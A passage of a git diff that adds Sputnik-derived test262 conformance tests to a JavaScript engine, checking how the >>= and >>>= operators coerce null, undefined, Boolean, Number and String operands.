+ */
+
+//CHECK#1
+x = null;
+x >>= undefined;
+if (x !== 0) {
+ $ERROR('#1: x = null; x >>= undefined; x === 0. Actual: ' + (x));
+}
+
+//CHECK#2
+x = undefined;
+x >>= null;
+if (x !== 0) {
+ $ERROR('#2: x = undefined; x >>= null; x === 0. Actual: ' + (x));
+}
+
+//CHECK#3
+x = undefined;
+x >>= undefined;
+if (x !== 0) {
+ $ERROR('#3: x = undefined; x >>= undefined; x === 0. Actual: ' + (x));
+}
+
+//CHECK#4
+x = null;
+x >>= null;
+if (x !== 0) {
+ $ERROR('#4: x = null; x >>= null; x === 0. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.7_T2.1.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.7_T2.1.js
new file mode 100644
index 000000000..8fa6a383c
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.7_T2.1.js
@@ -0,0 +1,66 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The production x >>= y is the same as x = x >> y
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A4.7_T2.1.js
+ * @description Type(x) is different from Type(y) and both types vary between Number (primitive or object) and Boolean (primitive and object)
+ */
+
+//CHECK#1
+x = true;
+x >>= 1;
+if (x !== 0) {
+ $ERROR('#1: x = true; x >>= 1; x === 0. Actual: ' + (x));
+}
+
+//CHECK#2
+x = 1;
+x >>= true;
+if (x !== 0) {
+ $ERROR('#2: x = 1; x >>= true; x === 0. Actual: ' + (x));
+}
+
+//CHECK#3
+x = new Boolean(true);
+x >>= 1;
+if (x !== 0) {
+ $ERROR('#3: x = new Boolean(true); x >>= 1; x === 0. Actual: ' + (x));
+}
+
+//CHECK#4
+x = 1;
+x >>= new Boolean(true);
+if (x !== 0) {
+ $ERROR('#4: x = 1; x >>= new Boolean(true); x === 0. Actual: ' + (x));
+}
+
+//CHECK#5
+x = true;
+x >>= new Number(1);
+if (x !== 0) {
+ $ERROR('#5: x = true; x >>= new Number(1); x === 0. Actual: ' + (x));
+}
+
+//CHECK#6
+x = new Number(1);
+x >>= true;
+if (x !== 0) {
+ $ERROR('#6: x = new Number(1); x >>= true; x === 0. Actual: ' + (x));
+}
+
+//CHECK#7
+x = new Boolean(true);
+x >>= new Number(1);
+if (x !== 0) {
+ $ERROR('#7: x = new Boolean(true); x >>= new Number(1); x === 0. Actual: ' + (x));
+}
+
+//CHECK#8
+x = new Number(1);
+x >>= new Boolean(true);
+if (x !== 0) {
+ $ERROR('#8: x = new Number(1); x >>= new Boolean(true); x === 0. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.7_T2.2.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.7_T2.2.js
new file mode 100644
index 000000000..87e69c0aa
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.7_T2.2.js
@@ -0,0 +1,80 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The production x >>= y is the same as x = x >> y
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A4.7_T2.2.js
+ * @description Type(x) is different from Type(y) and both types vary between Number (primitive or object) and String (primitive and object)
+ */
+
+//CHECK#1
+x = "1";
+x >>= 1;
+if (x !== 0) {
+ $ERROR('#1: x = "1"; x >>= 1; x === 0. Actual: ' + (x));
+}
+
+//CHECK#2
+x = 1;
+x >>= "1";
+if (x !== 0) {
+ $ERROR('#2: x = 1; x >>= "1"; x === 0. Actual: ' + (x));
+}
+
+//CHECK#3
+x = new String("1");
+x >>= 1;
+if (x !== 0) {
+ $ERROR('#3: x = new String("1"); x >>= 1; x === 0. Actual: ' + (x));
+}
+
+//CHECK#4
+x = 1;
+x >>= new String("1");
+if (x !== 0) {
+ $ERROR('#4: x = 1; x >>= new String("1"); x === 0. Actual: ' + (x));
+}
+
+//CHECK#5
+x = "1";
+x >>= new Number(1);
+if (x !== 0) {
+ $ERROR('#5: x = "1"; x >>= new Number(1); x === 0. Actual: ' + (x));
+}
+
+//CHECK#6
+x = new Number(1);
+x >>= "1";
+if (x !== 0) {
+ $ERROR('#6: x = new Number(1); x >>= "1"; x === 0. Actual: ' + (x));
+}
+
+//CHECK#7
+x = new String("1");
+x >>= new Number(1);
+if (x !== 0) {
+ $ERROR('#7: x = new String("1"); x >>= new Number(1); x === 0. Actual: ' + (x));
+}
+
+//CHECK#8
+x = new Number(1);
+x >>= new String("1");
+if (x !== 0) {
+ $ERROR('#8: x = new Number(1); x >>= new String("1"); x === 0. Actual: ' + (x));
+}
+
+//CHECK#9
+x = "x";
+x >>= 1;
+if (x !== 0) {
+ $ERROR('#9: x = "x"; x >>= 1; x === 0. Actual: ' + (x));
+}
+
+//CHECK#10
+x = 1;
+x >>= "x";
+if (x !== 1) {
+ $ERROR('#10: x = 1; x >>= "x"; x === 1. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.7_T2.3.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.7_T2.3.js
new file mode 100644
index 000000000..0cf56fb53
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.7_T2.3.js
@@ -0,0 +1,38 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The production x >>= y is the same as x = x >> y
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A4.7_T2.3.js
+ * @description Type(x) is different from Type(y) and both types vary between Number (primitive or object) and Null
+ */
+
+//CHECK#1
+x = 1;
+x >>= null;
+if (x !== 1) {
+ $ERROR('#1: x = 1; x >>= null; x === 1. Actual: ' + (x));
+}
+
+//CHECK#2
+x = null;
+x >>= 1;
+if (x !== 0) {
+ $ERROR('#2: x = null; x >>= 1; x === 0. Actual: ' + (x));
+}
+
+//CHECK#3
+x = new Number(1);
+x >>= null;
+if (x !== 1) {
+ $ERROR('#3: x = new Number(1); x >>= null; x === 1. Actual: ' + (x));
+}
+
+//CHECK#4
+x = null;
+x >>= new Number(1);
+if (x !== 0) {
+ $ERROR('#4: x = null; x >>= new Number(1); x === 0. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.7_T2.4.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.7_T2.4.js
new file mode 100644
index 000000000..f9ad58a30
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.7_T2.4.js
@@ -0,0 +1,38 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The production x >>= y is the same as x = x >> y
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A4.7_T2.4.js
+ * @description Type(x) is different from Type(y) and both types vary between Number (primitive or object) and Undefined
+ */
+
+//CHECK#1
+x = 1;
+x >>= undefined;
+if (x !== 1) {
+ $ERROR('#1: x = 1; x >>= undefined; x === 1. Actual: ' + (x));
+}
+
+//CHECK#2
+x = undefined;
+x >>= 1;
+if (x !== 0) {
+ $ERROR('#2: x = undefined; x >>= 1; x === 0. Actual: ' + (x));
+}
+
+//CHECK#3
+x = new Number(1);
+x >>= undefined;
+if (x !== 1) {
+ $ERROR('#3: x = new Number(1); x >>= undefined; x === 1. Actual: ' + (x));
+}
+
+//CHECK#4
+x = undefined;
+x >>= new Number(1);
+if (x !== 0) {
+ $ERROR('#4: x = undefined; x >>= new Number(1); x === 0. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.7_T2.5.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.7_T2.5.js
new file mode 100644
index 000000000..bdc8b729f
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.7_T2.5.js
@@ -0,0 +1,66 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The production x >>= y is the same as x = x >> y
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A4.7_T2.5.js
+ * @description Type(x) is different from Type(y) and both types vary between String (primitive or object) and Boolean (primitive and object)
+ */
+
+//CHECK#1
+x = true;
+x >>= "1";
+if (x !== 0) {
+ $ERROR('#1: x = true; x >>= "1"; x === 0. Actual: ' + (x));
+}
+
+//CHECK#2
+x = "1";
+x >>= true;
+if (x !== 0) {
+ $ERROR('#2: x = "1"; x >>= true; x === 0. Actual: ' + (x));
+}
+
+//CHECK#3
+x = new Boolean(true);
+x >>= "1";
+if (x !== 0) {
+ $ERROR('#3: x = new Boolean(true); x >>= "1"; x === 0. Actual: ' + (x));
+}
+
+//CHECK#4
+x = "1";
+x >>= new Boolean(true);
+if (x !== 0) {
+ $ERROR('#4: x = "1"; x >>= new Boolean(true); x === 0. Actual: ' + (x));
+}
+
+//CHECK#5
+x = true;
+x >>= new String("1");
+if (x !== 0) {
+ $ERROR('#5: x = true; x >>= new String("1"); x === 0. Actual: ' + (x));
+}
+
+//CHECK#6
+x = new String("1");
+x >>= true;
+if (x !== 0) {
+ $ERROR('#6: x = new String("1"); x >>= true; x === 0. Actual: ' + (x));
+}
+
+//CHECK#7
+x = new Boolean(true);
+x >>= new String("1");
+if (x !== 0) {
+ $ERROR('#7: x = new Boolean(true); x >>= new String("1"); x === 0. Actual: ' + (x));
+}
+
+//CHECK#8
+x = new String("1");
+x >>= new Boolean(true);
+if (x !== 0) {
+ $ERROR('#8: x = new String("1"); x >>= new Boolean(true); x === 0. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.7_T2.6.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.7_T2.6.js
new file mode 100644
index 000000000..970a3540b
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.7_T2.6.js
@@ -0,0 +1,38 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The production x >>= y is the same as x = x >> y
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A4.7_T2.6.js
+ * @description Type(x) is different from Type(y) and both types vary between String (primitive or object) and Undefined
+ */
+
+//CHECK#1
+x = "1";
+x >>= undefined;
+if (x !== 1) {
+ $ERROR('#1: x = "1"; x >>= undefined; x === 1. Actual: ' + (x));
+}
+
+//CHECK#2
+x = undefined;
+x >>= "1";
+if (x !== 0) {
+ $ERROR('#2: x = undefined; x >>= "1"; x === 0. Actual: ' + (x));
+}
+
+//CHECK#3
+x = new String("1");
+x >>= undefined;
+if (x !== 1) {
+ $ERROR('#3: x = new String("1"); x >>= undefined; x === 1. Actual: ' + (x));
+}
+
+//CHECK#4
+x = undefined;
+x >>= new String("1");
+if (x !== 0) {
+ $ERROR('#4: x = undefined; x >>= new String("1"); x === 0. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.7_T2.7.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.7_T2.7.js
new file mode 100644
index 000000000..7720b5512
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.7_T2.7.js
@@ -0,0 +1,38 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The production x >>= y is the same as x = x >> y
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A4.7_T2.7.js
+ * @description Type(x) is different from Type(y) and both types vary between String (primitive or object) and Null
+ */
+
+//CHECK#1
+x = "1";
+x >>= null;
+if (x !== 1) {
+ $ERROR('#1: x = "1"; x >>= null; x === 1. Actual: ' + (x));
+}
+
+//CHECK#2
+x = null;
+x >>= "1";
+if (x !== 0) {
+ $ERROR('#2: x = null; x >>= "1"; x === 0. Actual: ' + (x));
+}
+
+//CHECK#3
+x = new String("1");
+x >>= null;
+if (x !== 1) {
+ $ERROR('#3: x = new String("1"); x >>= null; x === 1. Actual: ' + (x));
+}
+
+//CHECK#4
+x = null;
+x >>= new String("1");
+if (x !== 0) {
+ $ERROR('#4: x = null; x >>= new String("1"); x === 0. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.7_T2.8.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.7_T2.8.js
new file mode 100644
index 000000000..05a4415a1
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.7_T2.8.js
@@ -0,0 +1,38 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The production x >>= y is the same as x = x >> y
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A4.7_T2.8.js
+ * @description Type(x) is different from Type(y) and both types vary between Boolean (primitive or object) and Undefined
+ */
+
+//CHECK#1
+x = true;
+x >>= undefined;
+if (x !== 1) {
+ $ERROR('#1: x = true; x >>= undefined; x === 1. Actual: ' + (x));
+}
+
+//CHECK#2
+x = undefined;
+x >>= true;
+if (x !== 0) {
+ $ERROR('#2: x = undefined; x >>= true; x === 0. Actual: ' + (x));
+}
+
+//CHECK#3
+x = new Boolean(true);
+x >>= undefined;
+if (x !== 1) {
+ $ERROR('#3: x = new Boolean(true); x >>= undefined; x === 1. Actual: ' + (x));
+}
+
+//CHECK#4
+x = undefined;
+x >>= new Boolean(true);
+if (x !== 0) {
+ $ERROR('#4: x = undefined; x >>= new Boolean(true); x === 0. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.7_T2.9.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.7_T2.9.js
new file mode 100644
index 000000000..ddfdbfc64
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.7_T2.9.js
@@ -0,0 +1,38 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The production x >>= y is the same as x = x >> y
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A4.7_T2.9.js
+ * @description Type(x) is different from Type(y) and both types vary between Boolean (primitive or object) and Null
+ */
+
+//CHECK#1
+x = true;
+x >>= null;
+if (x !== 1) {
+ $ERROR('#1: x = true; x >>= null; x === 1. Actual: ' + (x));
+}
+
+//CHECK#2
+x = null;
+x >>= true;
+if (x !== 0) {
+ $ERROR('#2: x = null; x >>= true; x === 0. Actual: ' + (x));
+}
+
+//CHECK#3
+x = new Boolean(true);
+x >>= null;
+if (x !== 1) {
+ $ERROR('#3: x = new Boolean(true); x >>= null; x === 1. Actual: ' + (x));
+}
+
+//CHECK#4
+x = null;
+x >>= new Boolean(true);
+if (x !== 0) {
+ $ERROR('#4: x = null; x >>= new Boolean(true); x === 0. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.8_T1.1.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.8_T1.1.js
new file mode 100644
index 000000000..0b2e033dc
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.8_T1.1.js
@@ -0,0 +1,38 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The production x >>>= y is the same as x = x >>> y
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A4.8_T1.1.js
+ * @description Type(x) and Type(y) vary between primitive boolean and Boolean object
+ */
+
+//CHECK#1
+x = true;
+x >>>= true;
+if (x !== 0) {
+ $ERROR('#1: x = true; x >>>= true; x === 0. Actual: ' + (x));
+}
+
+//CHECK#2
+x = new Boolean(true);
+x >>>= true;
+if (x !== 0) {
+ $ERROR('#2: x = new Boolean(true); x >>>= true; x === 0. Actual: ' + (x));
+}
+
+//CHECK#3
+x = true;
+x >>>= new Boolean(true);
+if (x !== 0) {
+ $ERROR('#3: x = true; x >>>= new Boolean(true); x === 0. Actual: ' + (x));
+}
+
+//CHECK#4
+x = new Boolean(true);
+x >>>= new Boolean(true);
+if (x !== 0) {
+ $ERROR('#4: x = new Boolean(true); x >>>= new Boolean(true); x === 0. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.8_T1.2.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.8_T1.2.js
new file mode 100644
index 000000000..64cb86684
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.8_T1.2.js
@@ -0,0 +1,39 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The production x >>>= y is the same as x = x >>> y
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A4.8_T1.2.js
+ * @description Type(x) and Type(y) vary between primitive number and Number object
+ */
+
+//CHECK#1
+x = 1;
+x >>>= 1;
+if (x !== 0) {
+ $ERROR('#1: x = 1; x >>>= 1; x === 0. Actual: ' + (x));
+}
+
+//CHECK#2
+x = new Number(1);
+x >>>= 1;
+if (x !== 0) {
+ $ERROR('#2: x = new Number(1); x >>>= 1; x === 0. Actual: ' + (x));
+}
+
+//CHECK#3
+x = 1;
+x >>>= new Number(1);
+if (x !== 0) {
+ $ERROR('#3: x = 1; x >>>= new Number(1); x === 0. Actual: ' + (x));
+}
+
+//CHECK#4
+x = new Number(1);
+x >>>= new Number(1);
+if (x !== 0) {
+ $ERROR('#4: x = new Number(1); x >>>= new Number(1); x === 0. Actual: ' + (x));
+}
+
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.8_T1.3.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.8_T1.3.js
new file mode 100644
index 000000000..47f197886
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.8_T1.3.js
@@ -0,0 +1,52 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The production x >>>= y is the same as x = x >>> y
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A4.8_T1.3.js
+ * @description Type(x) and Type(y) vary between primitive string and String object
+ */
+
+//CHECK#1
+x = "1";
+x >>>= "1";
+if (x !== 0) {
+ $ERROR('#1: x = "1"; x >>>= "1"; x === 0. Actual: ' + (x));
+}
+
+//CHECK#2
+x = new String("1");
+x >>>= "1";
+if (x !== 0) {
+ $ERROR('#2: x = new String("1"); x >>>= "1"; x === 0. Actual: ' + (x));
+}
+
+//CHECK#3
+x = "1";
+x >>>= new String("1");
+if (x !== 0) {
+ $ERROR('#3: x = "1"; x >>>= new String("1"); x === 0. Actual: ' + (x));
+}
+
+//CHECK#4
+x = new String("1");
+x >>>= new String("1");
+if (x !== 0) {
+ $ERROR('#4: x = new String("1"); x >>>= new String("1"); x === 0. Actual: ' + (x));
+}
+
+//CHECK#5
+x = "x";
+x >>>= "1";
+if (x !== 0) {
+ $ERROR('#5: x = "x"; x >>>= "1"; x === 0. Actual: ' + (x));
+}
+
+//CHECK#6
+x = "1";
+x >>>= "x";
+if (x !== 1) {
+ $ERROR('#6: x = "1"; x >>>= "x"; x === 1. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.8_T1.4.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.8_T1.4.js
new file mode 100644
index 000000000..6464ffa82
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.8_T1.4.js
@@ -0,0 +1,38 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The production x >>>= y is the same as x = x >>> y
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A4.8_T1.4.js
+ * @description Type(x) and Type(y) vary between Null and Undefined
+ */
+
+//CHECK#1
+x = null;
+x >>>= undefined;
+if (x !== 0) {
+ $ERROR('#1: x = null; x >>>= undefined; x === 0. Actual: ' + (x));
+}
+
+//CHECK#2
+x = undefined;
+x >>>= null;
+if (x !== 0) {
+ $ERROR('#2: x = undefined; x >>>= null; x === 0. Actual: ' + (x));
+}
+
+//CHECK#3
+x = undefined;
+x >>>= undefined;
+if (x !== 0) {
+ $ERROR('#3: x = undefined; x >>>= undefined; x === 0. Actual: ' + (x));
+}
+
+//CHECK#4
+x = null;
+x >>>= null;
+if (x !== 0) {
+ $ERROR('#4: x = null; x >>>= null; x === 0. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.8_T2.1.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.8_T2.1.js
new file mode 100644
index 000000000..f610d8278
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.8_T2.1.js
@@ -0,0 +1,66 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The production x >>>= y is the same as x = x >>> y
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A4.8_T2.1.js
+ * @description Type(x) is different from Type(y) and both types vary between Number (primitive or object) and Boolean (primitive and object)
+ */
+
+//CHECK#1
+x = true;
+x >>>= 1;
+if (x !== 0) {
+ $ERROR('#1: x = true; x >>>= 1; x === 0. Actual: ' + (x));
+}
+
+//CHECK#2
+x = 1;
+x >>>= true;
+if (x !== 0) {
+ $ERROR('#2: x = 1; x >>>= true; x === 0. Actual: ' + (x));
+}
+
+//CHECK#3
+x = new Boolean(true);
+x >>>= 1;
+if (x !== 0) {
+ $ERROR('#3: x = new Boolean(true); x >>>= 1; x === 0. Actual: ' + (x));
+}
+
+//CHECK#4
+x = 1;
+x >>>= new Boolean(true);
+if (x !== 0) {
+ $ERROR('#4: x = 1; x >>>= new Boolean(true); x === 0. Actual: ' + (x));
+}
+
+//CHECK#5
+x = true;
+x >>>= new Number(1);
+if (x !== 0) {
+ $ERROR('#5: x = true; x >>>= new Number(1); x === 0. Actual: ' + (x));
+}
+
+//CHECK#6
+x = new Number(1);
+x >>>= true;
+if (x !== 0) {
+ $ERROR('#6: x = new Number(1); x >>>= true; x === 0. Actual: ' + (x));
+}
+
+//CHECK#7
+x = new Boolean(true);
+x >>>= new Number(1);
+if (x !== 0) {
+ $ERROR('#7: x = new Boolean(true); x >>>= new Number(1); x === 0. Actual: ' + (x));
+}
+
+//CHECK#8
+x = new Number(1);
+x >>>= new Boolean(true);
+if (x !== 0) {
+ $ERROR('#8: x = new Number(1); x >>>= new Boolean(true); x === 0. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.8_T2.2.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.8_T2.2.js
new file mode 100644
index 000000000..9a1d719fe
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.8_T2.2.js
@@ -0,0 +1,80 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The production x >>>= y is the same as x = x >>> y
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A4.8_T2.2.js
+ * @description Type(x) is different from Type(y) and both types vary between Number (primitive or object) and String (primitive and object)
+ */
+
+//CHECK#1
+x = "1";
+x >>>= 1;
+if (x !== 0) {
+ $ERROR('#1: x = "1"; x >>>= 1; x === 0. Actual: ' + (x));
+}
+
+//CHECK#2
+x = 1;
+x >>>= "1";
+if (x !== 0) {
+ $ERROR('#2: x = 1; x >>>= "1"; x === 0. Actual: ' + (x));
+}
+
+//CHECK#3
+x = new String("1");
+x >>>= 1;
+if (x !== 0) {
+ $ERROR('#3: x = new String("1"); x >>>= 1; x === 0. Actual: ' + (x));
+}
+
+//CHECK#4
+x = 1;
+x >>>= new String("1");
+if (x !== 0) {
+ $ERROR('#4: x = 1; x >>>= new String("1"); x === 0. Actual: ' + (x));
+}
+
+//CHECK#5
+x = "1";
+x >>>= new Number(1);
+if (x !== 0) {
+ $ERROR('#5: x = "1"; x >>>= new Number(1); x === 0. Actual: ' + (x));
+}
+
+//CHECK#6
+x = new Number(1);
+x >>>= "1";
+if (x !== 0) {
+ $ERROR('#6: x = new Number(1); x >>>= "1"; x === 0. Actual: ' + (x));
+}
+
+//CHECK#7
+x = new String("1");
+x >>>= new Number(1);
+if (x !== 0) {
+ $ERROR('#7: x = new String("1"); x >>>= new Number(1); x === 0. Actual: ' + (x));
+}
+
+//CHECK#8
+x = new Number(1);
+x >>>= new String("1");
+if (x !== 0) {
+ $ERROR('#8: x = new Number(1); x >>>= new String("1"); x === 0. Actual: ' + (x));
+}
+
+//CHECK#9
+x = "x";
+x >>>= 1;
+if (x !== 0) {
+ $ERROR('#9: x = "x"; x >>>= 1; x === 0. Actual: ' + (x));
+}
+
+//CHECK#10
+x = 1;
+x >>>= "x";
+if (x !== 1) {
+ $ERROR('#10: x = 1; x >>>= "x"; x === 1. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.8_T2.3.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.8_T2.3.js
new file mode 100644
index 000000000..bf809a272
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.8_T2.3.js
@@ -0,0 +1,38 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The production x >>>= y is the same as x = x >>> y
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A4.8_T2.3.js
+ * @description Type(x) is different from Type(y) and both types vary between Number (primitive or object) and Null
+ */
+
+//CHECK#1
+x = 1;
+x >>>= null;
+if (x !== 1) {
+ $ERROR('#1: x = 1; x >>>= null; x === 1. Actual: ' + (x));
+}
+
+//CHECK#2
+x = null;
+x >>>= 1;
+if (x !== 0) {
+ $ERROR('#2: x = null; x >>>= 1; x === 0. Actual: ' + (x));
+}
+
+//CHECK#3
+x = new Number(1);
+x >>>= null;
+if (x !== 1) {
+ $ERROR('#3: x = new Number(1); x >>>= null; x === 1. Actual: ' + (x));
+}
+
+//CHECK#4
+x = null;
+x >>>= new Number(1);
+if (x !== 0) {
+ $ERROR('#4: x = null; x >>>= new Number(1); x === 0. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.8_T2.4.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.8_T2.4.js
new file mode 100644
index 000000000..4e034735f
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.8_T2.4.js
@@ -0,0 +1,38 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The production x >>>= y is the same as x = x >>> y
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A4.8_T2.4.js
+ * @description Type(x) is different from Type(y) and both types vary between Number (primitive or object) and Undefined
+ */
+
+//CHECK#1
+x = 1;
+x >>>= undefined;
+if (x !== 1) {
+ $ERROR('#1: x = 1; x >>>= undefined; x === 1. Actual: ' + (x));
+}
+
+//CHECK#2
+x = undefined;
+x >>>= 1;
+if (x !== 0) {
+ $ERROR('#2: x = undefined; x >>>= 1; x === 0. Actual: ' + (x));
+}
+
+//CHECK#3
+x = new Number(1);
+x >>>= undefined;
+if (x !== 1) {
+ $ERROR('#3: x = new Number(1); x >>>= undefined; x === 1. Actual: ' + (x));
+}
+
+//CHECK#4
+x = undefined;
+x >>>= new Number(1);
+if (x !== 0) {
+ $ERROR('#4: x = undefined; x >>>= new Number(1); x === 0. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.8_T2.5.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.8_T2.5.js
new file mode 100644
index 000000000..cf319f71d
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.8_T2.5.js
@@ -0,0 +1,66 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The production x >>>= y is the same as x = x >>> y
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A4.8_T2.5.js
+ * @description Type(x) is different from Type(y) and both types vary between String (primitive or object) and Boolean (primitive and object)
+ */
+
+//CHECK#1
+x = true;
+x >>>= "1";
+if (x !== 0) {
+ $ERROR('#1: x = true; x >>>= "1"; x === 0. Actual: ' + (x));
+}
+
+//CHECK#2
+x = "1";
+x >>>= true;
+if (x !== 0) {
+ $ERROR('#2: x = "1"; x >>>= true; x === 0. Actual: ' + (x));
+}
+
+//CHECK#3
+x = new Boolean(true);
+x >>>= "1";
+if (x !== 0) {
+ $ERROR('#3: x = new Boolean(true); x >>>= "1"; x === 0. Actual: ' + (x));
+}
+
+//CHECK#4
+x = "1";
